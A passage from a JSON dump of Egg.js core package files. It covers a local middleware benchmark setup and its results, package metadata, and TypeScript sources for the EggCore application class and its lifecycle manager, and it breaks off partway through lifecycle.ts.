#14\",\"async middleware #15\",\"async middleware #16\",\"async middleware #17\",\"async middleware #18\",\"async middleware #19\",\"async middleware #20\"]\nRunning 10s test @ http://127.0.0.1:7001/async\n  8 threads and 50 connections\n  Thread Stats   Avg      Stdev     Max   +/- Stdev\n    Latency     3.66ms    4.33ms  86.07ms   96.97%\n    Req/Sec     1.89k   296.76     2.24k    86.50%\n  151007 requests in 10.04s, 101.04MB read\nRequests/sec:  15046.06\nTransfer/sec:     10.07MB\n```\n"
  },
  {
    "path": "packages/core/benchmark/middleware/app/controller/home.js",
    "content": "module.exports = {\n  async async() {\n    this.body = [];\n  },\n\n  async index() {\n    this.body = 'hello world';\n  },\n};\n"
  },
  {
    "path": "packages/core/benchmark/middleware/app/middleware/async.js",
    "content": "'use strict';\n\nlet index = 0;\n\nmodule.exports = function exports() {\n  return async (ctx, next) => {\n    await next();\n    ctx.body.push(`async middleware #${++index}`);\n  };\n};\n"
  },
  {
    "path": "packages/core/benchmark/middleware/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  const asyncMiddlewares = [];\n\n  for (let i = 0; i < 20; i++) {\n    asyncMiddlewares.push(app.middlewares.async());\n  }\n\n  app.get('/', app.controller.home.index);\n  app.get('/async', ...asyncMiddlewares, 'home.async');\n};\n"
  },
  {
    "path": "packages/core/benchmark/middleware/package.json",
    "content": "{\n  \"name\": \"middleware\",\n  \"type\": \"commonjs\"\n}\n"
  },
  {
    "path": "packages/core/benchmark/middleware/run.sh",
    "content": "#!/usr/bin/env bash\n\necho\nnode -v\nnode `dirname $0`/start.js $1 &\npid=$!\n\nsleep 3\necho \"------- async middleware -------\"\ncurl 'http://127.0.0.1:7001/async'\necho \"\"\nwrk 'http://127.0.0.1:7001/async' \\\n  -d 10 \\\n  -c 50 \\\n  -t 8\n\nkill $pid\n"
  },
  {
    "path": "packages/core/benchmark/middleware/start.js",
    "content": "'use strict';\n\nconst EggApplication = require('../../test/fixtures/egg').Application;\n\nconst app = new EggApplication({\n  baseDir: __dirname,\n  type: 'application',\n});\n\napp.loader\n  .loadAll()\n  .then(() => {\n    app.listen(7001);\n    console.log('server started at 7001');\n  })\n  .catch((err) => {\n    throw err;\n  });\n"
  },
  {
    "path": "packages/core/example/middleware/hello.ts",
    "content": "import type { MiddlewareFunc } from '../../src/index.ts';\n\nexport const hello: MiddlewareFunc = async (ctx, next) => {\n  console.log('Hello middleware');\n  console.log(ctx.app.BaseContextClass);\n  console.log(ctx.app.Service);\n  console.log(ctx.service);\n  console.log(ctx.app.timing);\n  console.log(ctx.app.lifecycle);\n  console.log(ctx.request.ctx.app.timing);\n  console.log(ctx.request.app.timing);\n  console.log(ctx.request.response.app.timing);\n  console.log(ctx.response.request.app.timing);\n  await next();\n};\n"
  },
  {
    "path": "packages/core/package.json",
    "content": "{\n  \"name\": \"@eggjs/core\",\n  \"version\": \"7.0.2-beta.5\",\n  \"description\": \"A core plugin framework based on @eggjs/koa\",\n  \"keywords\": [\n    \"egg\",\n    \"loader\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/packages/core\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"license\": \"MIT\",\n  \"author\": \"fengmk2 <fengmk2@gmail.com>\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"packages/core\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"@eggjs/extend2\": \"workspace:*\",\n    \"@eggjs/koa\": \"workspace:*\",\n    \"@eggjs/path-matching\": \"workspace:*\",\n    \"@eggjs/router\": \"workspace:*\",\n    \"@eggjs/utils\": \"workspace:*\",\n    \"egg-logger\": \"catalog:\",\n    \"get-ready\": \"catalog:\",\n    \"globby\": \"catalog:\",\n    \"is-type-of\": \"catalog:\",\n    \"node-homedir\": \"catalog:\",\n    \"performance-ms\": \"catalog:\",\n    \"ready-callback\": \"catalog:\",\n    \"tsconfig-paths\": \"catalog:\",\n    \"utility\": \"catalog:\"\n  },\n  \"devDependencies\": {\n    \"@eggjs/mock\": \"workspace:*\",\n    \"@eggjs/supertest\": \"workspace:*\",\n    \"@eggjs/tsconfig\": \"workspace:*\",\n    \"@types/js-yaml\": \"catalog:\",\n    \"await-event\": \"catalog:\",\n    \"coffee\": \"catalog:\",\n    \"gals\": \"catalog:\",\n    \"husky\": \"catalog:\",\n    \"js-yaml\": \"catalog:\",\n    \"mm\": \"catalog:\",\n    \"typescript\": \"catalog:\",\n    \"urllib\": \"catalog:\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  }\n}\n"
  },
  {
    "path": "packages/core/src/base_context_class.ts",
    "content": "import type { EggCore, Context } from './egg.ts';\n\n/**\n * BaseContextClass is a base class that can be extended,\n * it's instantiated in context level,\n * {@link Helper}, {@link Service} is extending it.\n */\nexport class BaseContextClass {\n  ctx: Context;\n  app: EggCore;\n  config: Record<string, any>;\n  service: Record<string, any>;\n\n  /**\n   * @since 1.0.0\n   */\n  constructor(ctx: Context) {\n    /**\n     * @member {Context} BaseContextClass#ctx\n     * @since 1.0.0\n     */\n    this.ctx = ctx;\n    /**\n     * @member {Application} BaseContextClass#app\n     * @since 1.0.0\n     */\n    this.app = ctx.app;\n    /**\n     * @member {Config} BaseContextClass#config\n     * @since 1.0.0\n     */\n    this.config = ctx.app.config;\n    /**\n     * @member {Service} BaseContextClass#service\n     * @since 1.0.0\n     */\n    this.service = ctx.service;\n  }\n}\n"
  },
  {
    "path": "packages/core/src/egg.ts",
    "content": "import assert from 'node:assert';\nimport { debuglog } from 'node:util';\n\nimport {\n  Application as KoaApplication,\n  Context as KoaContext,\n  Request as KoaRequest,\n  Response as KoaResponse,\n  type MiddlewareFunc as KoaMiddlewareFunc,\n  type Next,\n} from '@eggjs/koa';\nimport { EggRouter as Router, type RegisterOptions, type ResourcesController } from '@eggjs/router';\nimport { EggConsoleLogger, type Logger } from 'egg-logger';\nimport type { ReadyFunctionArg } from 'get-ready';\n\nimport { BaseContextClass } from './base_context_class.ts';\nimport { Lifecycle } from './lifecycle.ts';\nimport { EggLoader } from './loader/egg_loader.ts';\nimport { Singleton, type SingletonCreateMethod, type SingletonOptions } from './singleton.ts';\nimport type { EggAppConfig } from './types.ts';\nimport utils, { type Fun } from './utils/index.ts';\nimport { Timing } from './utils/timing.ts';\n\nconst debug = debuglog('egg/core/egg');\n\nexport const EGG_LOADER: symbol = Symbol.for('egg#loader');\n\nexport interface EggCoreOptions {\n  baseDir: string;\n  type: 'application' | 'agent';\n  plugins?: any;\n  serverScope?: string;\n  env?: string;\n}\n\nexport type EggCoreInitOptions = Partial<EggCoreOptions>;\n\n// export @eggjs/koa classes\nexport { KoaRequest, KoaResponse, KoaContext, KoaApplication, Router };\n\n// export @eggjs/koa types\nexport type { Next, KoaMiddlewareFunc };\n\n// export @eggjs/core classes\nexport class Request extends KoaRequest {\n  declare ctx: Context;\n  declare app: EggCore;\n  declare response: Response;\n}\n\nexport class Response extends KoaResponse {\n  declare app: EggCore;\n  declare request: Request;\n}\n\nexport class Context extends KoaContext {\n  declare app: EggCore;\n  declare request: Request;\n  declare response: Response;\n  declare service: Record<string, any>;\n\n  // #region router\n\n  /**\n   * Returns map of URL parameters for given `path` and `paramNames`.\n   * @example\n   * ##### ctx.params.id {string}\n   *\n   * `GET /api/users/1` => `'1'`\n   *\n   * ##### ctx.params.per_page {string}\n   *\n   * The number of every page, `GET /api/users?per_page=20` => `20`\n   */\n  params?: Record<string, string>;\n  /**\n   * Returns array of router regexp url path captures.\n   */\n  captures?: string[];\n  /**\n   * Returns the name of the matched router.\n   */\n  routerName?: string;\n  /**\n   * Returns the path of the matched router.\n   */\n  routerPath?: string | RegExp;\n\n  // #endregion\n}\n\n// export @eggjs/core types\nexport type MiddlewareFunc<T extends KoaContext = Context> = KoaMiddlewareFunc<T>;\n\nexport class EggCore extends KoaApplication {\n  options: EggCoreOptions;\n  timing: Timing;\n  console: EggConsoleLogger;\n  BaseContextClass: typeof BaseContextClass;\n  Controller: typeof BaseContextClass;\n  Service: typeof BaseContextClass;\n  Helper?: typeof BaseContextClass;\n  lifecycle: Lifecycle;\n  loader: EggLoader;\n  #closePromise?: Promise<void>;\n  #router?: Router;\n\n  /** auto inject on loadService() */\n\n  readonly serviceClasses: Record<string, any> = {};\n  /** auto inject on loadController() */\n\n  readonly controller: Record<string, any> = {};\n  /** auto inject on loadMiddleware() */\n  readonly middlewares: Record<string, (opt: unknown, app: EggCore) => MiddlewareFunc> = {};\n\n  /**\n   * @class\n   * @param {Object} options - options\n   * @param {String} [options.baseDir] - the directory of application\n   * @param {String} [options.type] - whether it's running in app worker or agent worker\n   * @param {Object} [options.plugins] - custom plugins\n   * @since 1.0.0\n   */\n  constructor(options: EggCoreInitOptions = {}) {\n    options.baseDir = options.baseDir ?? process.cwd();\n    options.type = options.type ?? 'application';\n    assert(typeof options.baseDir === 'string', 'options.baseDir required, and must be a string');\n    // assert(fs.existsSync(options.baseDir), `Directory ${options.baseDir} not exists`);\n    // assert(fs.statSync(options.baseDir).isDirectory(), `Directory ${options.baseDir} is not a directory`);\n    assert(options.type === 'application' || options.type === 'agent', 'options.type should be application or agent');\n    super();\n\n    this.timing = new Timing();\n    /**\n     * @member {Object} EggCore#options\n     * @private\n     * @since 1.0.0\n     */\n    this.options = options as EggCoreOptions;\n\n    /**\n     * logging for EggCore, avoid using console directly\n     * @member {Logger} EggCore#console\n     * @private\n     * @since 1.0.0\n     */\n    this.console = new EggConsoleLogger();\n\n    /**\n     * @member {BaseContextClass} EggCore#BaseContextClass\n     * @since 1.0.0\n     */\n    this.BaseContextClass = BaseContextClass;\n\n    /**\n     * Base controller to be extended by controller in `app.controller`\n     * @class Controller\n     * @augments BaseContextClass\n     * @example\n     * class UserController extends app.Controller {}\n     */\n    const Controller = this.BaseContextClass;\n\n    /**\n     * Retrieve base controller\n     * @member {Controller} EggCore#Controller\n     * @since 1.0.0\n     */\n    this.Controller = Controller;\n\n    /**\n     * Base service to be extended by services in `app.service`\n     * @class Service\n     * @augments BaseContextClass\n     * @example\n     * class UserService extends app.Service {}\n     */\n    const Service = this.BaseContextClass;\n\n    /**\n     * Retrieve base service\n     * @member {Service} EggCore#Service\n     * @since 1.0.0\n     */\n    this.Service = Service;\n\n    this.lifecycle = new Lifecycle({\n      baseDir: options.baseDir,\n      app: this,\n      logger: this.console,\n    });\n    this.lifecycle.on('error', (err) => this.emit('error', err));\n    this.lifecycle.on('ready_timeout', (id) => this.emit('ready_timeout', id));\n    this.lifecycle.on('ready_stat', (data) => this.emit('ready_stat', data));\n\n    /**\n     * The loader instance, the default class is {@link EggLoader}.\n     * If you want define\n     * @member {EggLoader} EggCore#loader\n     * @since 1.0.0\n     */\n\n    let Loader: typeof EggLoader;\n    if (EGG_LOADER in this) {\n      this.deprecate(\n        'Symbol.for(\"egg#loader\") is deprecated, please use \"override the `customEggLoader()` method\" instead',\n      );\n      Loader = this[EGG_LOADER] as typeof EggLoader;\n    } else {\n      Loader = this.customEggLoader();\n    }\n    this.loader = new Loader({\n      baseDir: options.baseDir,\n      app: this,\n      plugins: options.plugins,\n      logger: this.console,\n      serverScope: options.serverScope,\n      env: options.env ?? '',\n      EggCoreClass: EggCore,\n    });\n  }\n\n  get logger(): Logger {\n    return this.console;\n  }\n\n  get coreLogger(): Logger {\n    return this.console;\n  }\n\n  /**\n   * create a singleton instance\n   * @param {String} name - unique name for singleton\n   * @param {Function|AsyncFunction} create - method will be invoked when singleton instance create\n   */\n  addSingleton(name: string, create: SingletonCreateMethod): void {\n    const options: SingletonOptions = {\n      name,\n      create,\n      app: this,\n    };\n    const singleton = new Singleton(options);\n    const initPromise = singleton.init();\n    if (initPromise) {\n      this.lifecycle.registerBeforeStart(async () => {\n        await initPromise;\n      }, `${name}-singleton-init`);\n    }\n  }\n\n  /**\n   * override koa's app.use, support generator function\n   * @since 1.0.0\n   */\n  use<T extends KoaContext = Context>(fn: MiddlewareFunc<T>): this {\n    assert(typeof fn === 'function', 'app.use() requires a function');\n    debug('[use] add middleware: %o', fn._name || fn.name || '-');\n    this.middleware.push(fn as unknown as KoaMiddlewareFunc);\n    return this;\n  }\n\n  /**\n   * Whether `application` or `agent`\n   * @member {String}\n   * @since 1.0.0\n   */\n  get type(): 'application' | 'agent' {\n    return this.options.type;\n  }\n\n  /**\n   * The current directory of application\n   * @member {String}\n   * @see {@link AppInfo#baseDir}\n   * @since 1.0.0\n   */\n  get baseDir(): string {\n    return this.options.baseDir;\n  }\n\n  /**\n   * Alias to {@link https://npmjs.com/package/depd}\n   * @member {Function}\n   * @since 1.0.0\n   */\n  get deprecate(): (message: string) => void {\n    return utils.deprecated;\n  }\n\n  /**\n   * The name of application\n   * @member {String}\n   * @see {@link AppInfo#name}\n   * @since 1.0.0\n   */\n  get name(): string {\n    return this.loader ? this.loader.pkg.name : '';\n  }\n\n  /**\n   * Retrieve enabled plugins\n   * @member {Object}\n   * @since 1.0.0\n   */\n  get plugins(): Record<string, any> {\n    return this.loader ? this.loader.plugins : {};\n  }\n\n  /**\n   * The configuration of application\n   * @member {Config}\n   * @since 1.0.0\n   */\n  get config(): EggAppConfig {\n    return this.loader ? this.loader.config : ({} as EggAppConfig);\n  }\n\n  /**\n   * Execute scope after loaded and before app start.\n   *\n   * Notice:\n   * This method is now NOT recommended and regarded as a deprecated one,\n   * For plugin development, we should use `didLoad` instead.\n   * For application development, we should use `willReady` instead.\n   *\n   * @see https://eggjs.org/en/advanced/loader.html#beforestart\n   *\n   * @param  {Function} scope function will execute before app start\n   * @param {string} [name] scope name, default is empty string\n   */\n  beforeStart(scope: Fun, name?: string): void {\n    this.deprecate(\n      '`beforeStart` was deprecated, please use \"Life Cycles\" instead, see https://www.eggjs.org/advanced/loader#life-cycles',\n    );\n    this.lifecycle.registerBeforeStart(scope, name ?? '');\n  }\n\n  /**\n   * register an callback function that will be invoked when application is ready.\n   * @see https://github.com/node-modules/get-ready\n   * @since 1.0.0\n   * @example\n   * const app = new Application(...);\n   * app.ready(err => {\n   *   if (err) throw err;\n   *   console.log('done');\n   * });\n   */\n  ready(): Promise<void>;\n  ready(flagOrFunction: ReadyFunctionArg): void;\n  ready(flagOrFunction?: ReadyFunctionArg) {\n    if (flagOrFunction === undefined) {\n      return this.lifecycle.ready();\n    }\n    return this.lifecycle.ready(flagOrFunction);\n  }\n\n  /**\n   * If a client starts asynchronously, you can register `readyCallback`,\n   * then the application will wait for the callback to ready\n   *\n   * It will log when the callback is not invoked after 10s\n   *\n   * Recommend to use {@link EggCore#beforeStart}\n   * @since 1.0.0\n   *\n   * @param {String} name - readyCallback task name\n   * @param {object} opts -\n   *   - {Number} [timeout=10000] - emit `ready_timeout` when it doesn't finish but reach the timeout\n   *   - {Boolean} [isWeakDep=false] - whether it's a weak dependency\n   * @returns {Function} - a callback\n   * @example\n   * const done = app.readyCallback('mysql');\n   * mysql.ready(done);\n   */\n  readyCallback(name: string, opts: object): (...args: unknown[]) => void {\n    this.deprecate(\n      '`readyCallback` was deprecated, please use \"Life Cycles\" instead, see https://www.eggjs.org/advanced/loader#life-cycles',\n    );\n    return this.lifecycle.legacyReadyCallback(name, opts);\n  }\n\n  /**\n   * Register a function that will be called when app close.\n   *\n   * Notice:\n   * This method is now NOT recommended directly used,\n   * Developers SHOULDN'T use app.beforeClose directly now,\n   * but in the form of class to implement beforeClose instead.\n   *\n   * @see https://eggjs.org/en/advanced/loader.html#beforeclose\n   *\n   * @param {Function} fn - the function that can be generator function or async function.\n   */\n  beforeClose(fn: Fun, name?: string): void {\n    this.deprecate(\n      '`beforeClose` was deprecated, please use \"Life Cycles\" instead, see https://www.eggjs.org/advanced/loader#life-cycles',\n    );\n    this.lifecycle.registerBeforeClose(fn, name);\n  }\n\n  /**\n   * Close all, it will close\n   * - callbacks registered by beforeClose\n   * - emit `close` event\n   * - remove add listeners\n   *\n   * If error is thrown when it's closing, the promise will reject.\n   * It will also reject after following call.\n   * @returns {Promise} promise\n   * @since 1.0.0\n   */\n  async close(): Promise<void> {\n    if (this.#closePromise) return this.#closePromise;\n    this.#closePromise = this.lifecycle.close();\n    return this.#closePromise;\n  }\n\n  /**\n   * get router\n   * @member {Router} EggCore#router\n   * @since 1.0.0\n   */\n  get router(): Router {\n    if (this.#router) {\n      return this.#router;\n    }\n    this.#router = new Router({ sensitive: true }, this);\n    return this.#router;\n  }\n\n  /**\n   * Alias to {@link Router#url}\n   * @param {String} name - Router name\n   * @param {Object} params - more parameters\n   * @returns {String} url\n   */\n  url(name: string, params?: Parameters<Router['url']>[1]): string {\n    return this.router.url(name, params);\n  }\n\n  // delegate all router method to application\n  // 'head', 'options', 'get', 'put', 'patch', 'post', 'delete'\n  // 'all', 'resources', 'register', 'redirect'\n  head(path: string | RegExp | (string | RegExp)[], ...middlewares: (MiddlewareFunc | string)[]): EggCore;\n  head(name: string, path: string | RegExp | (string | RegExp)[], ...middlewares: (MiddlewareFunc | string)[]): EggCore;\n\n  head(...args: any): EggCore {\n    this.router.head.apply(this.router, args);\n    return this;\n  }\n  // options(path: string | RegExp | (string | RegExp)[], ...middlewares: (MiddlewareFunc | string)[]): EggCore;\n  // options(name: string, path: string | RegExp | (string | RegExp)[], ...middlewares: (MiddlewareFunc | string)[]): EggCore;\n  // options(...args: any): EggCore {\n  //   this.router.options.apply(this.router, args);\n  //   return this;\n  // }\n  get(path: string | RegExp | (string | RegExp)[], ...middlewares: (MiddlewareFunc | string)[]): EggCore;\n  get(name: string, path: string | RegExp | (string | RegExp)[], ...middlewares: (MiddlewareFunc | string)[]): EggCore;\n\n  get(...args: any): EggCore {\n    this.router.get.apply(this.router, args);\n    return this;\n  }\n  put(path: string | RegExp | (string | RegExp)[], ...middlewares: (MiddlewareFunc | string)[]): EggCore;\n  put(name: string, path: string | RegExp | (string | RegExp)[], ...middlewares: (MiddlewareFunc | string)[]): EggCore;\n\n  put(...args: any): EggCore {\n    this.router.put.apply(this.router, args);\n    return this;\n  }\n  patch(path: string | RegExp | (string | RegExp)[], ...middlewares: (MiddlewareFunc | string)[]): EggCore;\n  patch(\n    name: string,\n    path: string | RegExp | (string | RegExp)[],\n    ...middlewares: (MiddlewareFunc | string)[]\n  ): EggCore;\n\n  patch(...args: any): EggCore {\n    this.router.patch.apply(this.router, args);\n    return this;\n  }\n  post(path: string | RegExp | (string | RegExp)[], ...middlewares: (MiddlewareFunc | string)[]): EggCore;\n  post(name: string, path: string | RegExp | (string | RegExp)[], ...middlewares: (MiddlewareFunc | string)[]): EggCore;\n\n  post(...args: any): EggCore {\n    this.router.post.apply(this.router, args);\n    return this;\n  }\n  delete(path: string | RegExp | (string | RegExp)[], ...middlewares: (MiddlewareFunc | string)[]): EggCore;\n  delete(\n    name: string,\n    path: string | RegExp | (string | RegExp)[],\n    ...middlewares: (MiddlewareFunc | string)[]\n  ): EggCore;\n\n  delete(...args: any): EggCore {\n    this.router.delete.apply(this.router, args);\n    return this;\n  }\n  del(path: string | RegExp | (string | RegExp)[], ...middlewares: (MiddlewareFunc | string)[]): EggCore;\n  del(name: string, path: string | RegExp | (string | RegExp)[], ...middlewares: (MiddlewareFunc | string)[]): EggCore;\n\n  del(...args: any): EggCore {\n    this.router.del.apply(this.router, args);\n    return this;\n  }\n\n  all(path: string | RegExp | (string | RegExp)[], ...middlewares: (MiddlewareFunc | string)[]): EggCore;\n  all(name: string, path: string | RegExp | (string | RegExp)[], ...middlewares: (MiddlewareFunc | string)[]): EggCore;\n\n  all(...args: any): EggCore {\n    this.router.all.apply(this.router, args);\n    return this;\n  }\n\n  resources(prefix: string, controller: string | ResourcesController): EggCore;\n  resources(prefix: string, middleware: MiddlewareFunc, controller: string | ResourcesController): EggCore;\n  resources(name: string, prefix: string, controller: string | ResourcesController): EggCore;\n  resources(\n    name: string,\n    prefix: string,\n    middleware: MiddlewareFunc,\n    controller: string | ResourcesController,\n  ): EggCore;\n\n  resources(...args: any): EggCore {\n    this.router.resources.apply(this.router, args);\n    return this;\n  }\n\n  redirect(source: string, destination: string, status = 301): this {\n    this.router.redirect(source, destination, status);\n    return this;\n  }\n\n  register(\n    path: string | RegExp | (string | RegExp)[],\n    methods: string[],\n    middleware: MiddlewareFunc | MiddlewareFunc[],\n    opts?: RegisterOptions,\n  ): this {\n    this.router.register(path, methods, middleware, opts);\n    return this;\n  }\n\n  /**\n   * Override this method to customize the loader\n   *\n   * ```ts\n   * // src/ExampleApplication.ts\n   * import { Application } from 'egg';\n   *\n   * class ExampleApplication extends Application {\n   *   protected override customEggLoader() {\n   *     return ExampleLoader;\n   *   }\n   * }\n   * ```\n   *\n   * @since 4.0.0\n   * @returns {typeof EggLoader}\n   */\n  protected customEggLoader(): typeof EggLoader {\n    return EggLoader;\n  }\n\n  /**\n   * Override this method to customize the egg paths\n   *\n   * ```ts\n   * // src/ExampleApplication.ts\n   * import { Application } from 'egg';\n   *\n   * class ExampleApplication extends Application {\n   *   protected override customEggPaths() {\n   *     return [path.dirname(import.meta.dirname), ...super.customEggPaths()];\n   *   }\n   * }\n   * ```\n   *\n   * @since 4.0.0\n   * @returns {string[]}\n   */\n  protected customEggPaths(): string[] {\n    return [];\n  }\n}\n"
  },
  {
    "path": "packages/core/src/index.ts",
    "content": "import utils from './utils/index.ts';\n\nexport { utils };\n\nexport * from './egg.ts';\nexport * from './base_context_class.ts';\nexport * from './lifecycle.ts';\nexport * from './singleton.ts';\nexport * from './loader/egg_loader.ts';\nexport * from './loader/file_loader.ts';\nexport * from './loader/context_loader.ts';\nexport * from './utils/sequencify.ts';\nexport * from './utils/timing.ts';\nexport type * from './types.ts';\n"
  },
  {
    "path": "packages/core/src/lifecycle.ts",
    "content": "import assert from 'node:assert';\nimport { EventEmitter } from 'node:events';\nimport { debuglog, format } from 'node:util';\n\nimport { EggConsoleLogger } from 'egg-logger';\nimport { Ready as ReadyObject, type ReadyFunctionArg } from 'get-ready';\nimport { isClass } from 'is-type-of';\nimport { Ready } from 'ready-callback';\n\nimport type { EggCore } from './egg.ts';\nimport utils from './utils/index.ts';\nimport type { Fun } from './utils/index.ts';\nimport type { Timing } from './utils/timing.ts';\n\nconst debug = debuglog('egg/core/lifecycle');\n\nexport interface ILifecycleBoot {\n  // loader auto set 'fullPath' property on boot class\n  fullPath?: string;\n  /**\n   * Ready to call configDidLoad,\n   * Config, plugin files are referred,\n   * this is the last chance to modify the config.\n   */\n  configWillLoad?(): void;\n\n  /**\n   * Config, plugin files have loaded\n   */\n  configDidLoad?(): void;\n\n  /**\n   * All files have loaded, start plugin here\n   */\n  didLoad?(): Promise<void>;\n\n  /**\n   * All plugins have started, can do some thing before app ready\n   */\n  willReady?(): Promise<void>;\n\n  /**\n   * Worker is ready, can do some things,\n   * don't need to block the app boot\n   */\n  didReady?(err?: Error): Promise<void>;\n\n  /**\n   * Server is listening\n   */\n  serverDidReady?(): Promise<void>;\n\n  /**\n   * Do some thing before app close\n   */\n  beforeClose?(): Promise<void>;\n}\n\nexport type BootImplClass<T = ILifecycleBoot> = new (...args: any[]) => T;\n\nexport interface LifecycleOptions {\n  baseDir: string;\n  app: EggCore;\n  logger: EggConsoleLogger;\n}\n\nexport type FunWithFullPath = Fun & { fullPath?: string };\n\nexport class Lifecycle extends EventEmitter {\n  #init: boolean;\n  #readyObject: ReadyObject;\n  #bootHooks: (BootImplClass | ILifecycleBoot)[];\n  #boots: ILifecycleBoot[];\n  #isClosed: boolean;\n  #closeFunctionSet: Set<FunWithFullPath>;\n  loadReady: Ready;\n  bootReady: Ready;\n  options: LifecycleOptions;\n  readyTimeout: number;\n\n  constructor(options: Partial<LifecycleOptions>) {\n    super();\n    options.logger = options.logger ?? new EggConsoleLogger();\n    this.options = options as LifecycleOptions;\n    this.#readyObject = new ReadyObject();\n    this.#bootHooks = [];\n    this.#boots = [];\n    this.#closeFunctionSet = new Set();\n    this.#isClosed = false;\n    this.#init = false;\n\n    this.timing.start(`${this.options.app.type} Start`);\n    // get app timeout from env or use default timeout 10 second\n    const eggReadyTimeoutEnv = Number.parseInt(process.env.EGG_READY_TIMEOUT_ENV || '10000');\n    assert(\n      Number.isInteger(eggReadyTimeoutEnv),\n      `process.env.EGG_READY_TIMEOUT_ENV ${process.env.EGG_READY_TIMEOUT_ENV} should be able to parseInt.`,\n    );\n    this.readyTimeout = eggReadyTimeoutEnv;\n\n    this.#initReady();\n    this.on('ready_stat', (data) => {\n      this.logger.info('[egg/core/lifecycle:ready_stat] end ready task %s, remain %j', data.id, data.remain);\n    }).on('ready_timeout', (id) => {\n      this.logger.warn(\n        '[egg/core/lifecycle:ready_timeout] %s seconds later %s was still unable to finish.',\n        this.readyTimeout / 1000,\n        id,\n      );\n    });\n\n    this.ready((err) => {\n      this.triggerDidReady(err);\n      debug('app ready');\n      this.timing.end(`${this.options.app.type} Start`);\n    });\n  }\n\n  ready(): Promise<void>;\n  ready(flagOrFunction: ReadyFunctionArg): void;\n  ready(flagOrFunction?: ReadyFunctionArg) {\n    if (flagOrFunction === undefined) {\n      return this.#readyObject.ready();\n    }\n    return this.#readyObject.ready(flagOrFunction);\n  }\n\n  get app(): EggCore {\n    return this.options.app;\n  }\n\n  get logger(): EggConsoleLogger {\n    return this.options.logger;\n  }\n\n  get timing(): Timing {\n    return this.app.timing;\n  }\n\n  legacyReadyCallback(name: string, opt?: object): (...args: unknown[]) => void {\n    const timingKeyPrefix = 'readyCallback';\n    const timing = this.timing;\n    const cb = this.loadReady.readyCallback(name, opt);\n    const timingKey = `${timingKeyPrefix} in ` + utils.getResolvedFilename(name, this.app.baseDir);\n    this.timing.start(timingKey);\n    debug('register legacyReadyCallback');\n    return function legacyReadyCallback(...args: unknown[]) {\n      timing.end(timingKey);\n      debug('end legacyReadyCallback');\n      cb(...args);\n    };\n  }\n\n  addBootHook(bootHootOrBootClass: BootImplClass | ILifecycleBoot): void {\n    assert(this.#init === false, 'do not add hook when lifecycle has been initialized');\n    this.#bootHooks.push(bootHootOrBootClass);\n  }\n\n  addFunctionAsBootHook<T = EggCore>(hook: (app: T) => void, fullPath?: string): void {\n    assert(this.#init === false, 'do not add hook when lifecycle has been initialized');\n    // app.js is exported as a function\n    // call this function in configDidLoad\n    class Boot implements ILifecycleBoot {\n      static fullPath?: string;\n      app: T;\n      constructor(app: T) {\n        this.app = app;\n      }\n      configDidLoad(): void {\n        hook(this.app);\n      }\n    }\n    Boot.fullPath = fullPath;\n    this.#bootHooks.push(Boot);\n  }\n\n  /**\n   * init boots and trigger config did config\n   */\n  init(): void {\n    debug('%s init lifecycle', this.app.type);\n    assert(this.#init === false, 'lifecycle have been init');\n    this.#init = true;\n    this.#boots = this.#bootHooks.map((BootHootOrBootClass) => {\n      let instance = BootHootOrBootClass as ILifecycleBoot;\n      if (isClass(BootHootOrBootClass)) {\n        instance = new BootHootOrBootClass(this.app);\n        if (!instance.fullPath && 'fullPath' in BootHootOrBootClass) {\n          instance.fullPath = BootHootOrBootClass.fullPath as string;\n        }\n      }\n      debug('[init] add boot instance: %o', instance.fullPath);\n      return instance;\n    });\n  }\n\n  registerBeforeStart(scope: Fun, name: string): void {\n    debug('%s add registerBeforeStart, name: %o', this.options.app.type, name);\n    this.#registerReadyCallback({\n      scope,\n      ready: this.loadReady,\n      timingKeyPrefix: 'Before Start',\n      scopeFullName: name,\n    });\n  }\n\n  registerBeforeClose(fn: FunWithFullPath, fullPath?: string): void {\n    assert(typeof fn === 'function', 'argument should be function');\n    assert(this.#isClosed === false, 'app has been closed');\n    if (fullPath) {\n      fn.fullPath = fullPath;\n    }\n    this.#closeFunctionSet.add(fn);\n    debug('%s register beforeClose at %o, count: %d', this.app.type, fullPath, this.#closeFunctionSet.size);\n  }\n\n  async close(): Promise<void> {\n    // close in reverse order: first created, last closed\n    const closeFns = Array.from(this.#closeFunctionSet);\n    debug('%s start trigger %d beforeClose functions', this.app.type, closeFns.length);\n    for (const fn of closeFns.reverse()) {\n      debug('%s trigger beforeClose at %o', this.app.type, fn.fullPath);\n      await utils.callFn(fn);\n      this.#closeFunctionSet.delete(fn);\n    }\n    // Be called after other close callbacks\n    this.app.emit('close');\n    this.removeAllListeners();\n    this.app.removeAllListeners();\n    this.#isClosed = true;\n    debug('%s closed', this.app.type);\n  }\n\n  triggerConfigWillLoad(): void {\n    debug('trigger configWillLoad start');\n    for (const boot of this.#boots) {\n      if (typeof boot.configWillLoad === 'function') {\n        debug('trigger configWillLoad at %o', boot.fullPath);\n        boot.configWillLoad();\n      }\n    }\n    debug('trigger configWillLoad end');\n    this.triggerConfigDidLoad();\n  }\n\n  triggerConfigDidLoad(): void {\n    debug('trigger configDidLoad start');\n    for (const boot of this.#boots) {\n      if (typeof boot.configDidLoad === 'function') {\n        debug('trigger configDidLoad at %o', boot.fullPath);\n        boot.configDidLoad();\n      }\n      // function boot hook register after configDidLoad trigger\n      if (typeof boot.beforeClose === 'function') {\n        const beforeClose = boot.beforeClose.bind(boot);\n        this.registerBeforeClose(beforeClose, boot.fullPath);\n      }\n    }\n    debug('trigger configDidLoad end');\n    this.triggerDidLoad();\n  }\n\n  triggerDidLoad(): void {\n    debug('trigger didLoad 